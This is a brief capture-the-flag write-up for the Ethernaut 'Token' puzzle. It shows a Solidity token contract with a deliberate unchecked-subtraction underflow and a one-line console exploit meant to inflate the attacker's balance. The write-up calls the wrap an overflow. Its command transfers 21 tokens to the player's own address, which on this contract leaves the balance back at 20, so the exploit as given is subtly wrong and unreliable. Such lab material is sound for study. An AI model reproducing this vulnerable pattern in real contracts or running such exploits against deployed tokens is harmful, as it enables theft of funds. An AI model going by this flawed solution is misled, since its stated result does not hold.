Ethernaut Puzzle 05 Token

The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

As it is uint, which means unsigned integer, so it is meaningless to validate uint >= 0, it is always more than 0.
Then the answer is obvious, you can just run this command in your browser console:

contract.transfer({%your wallet address%}, 21)

Then your balance in this smart contract will be really large because it is overflow.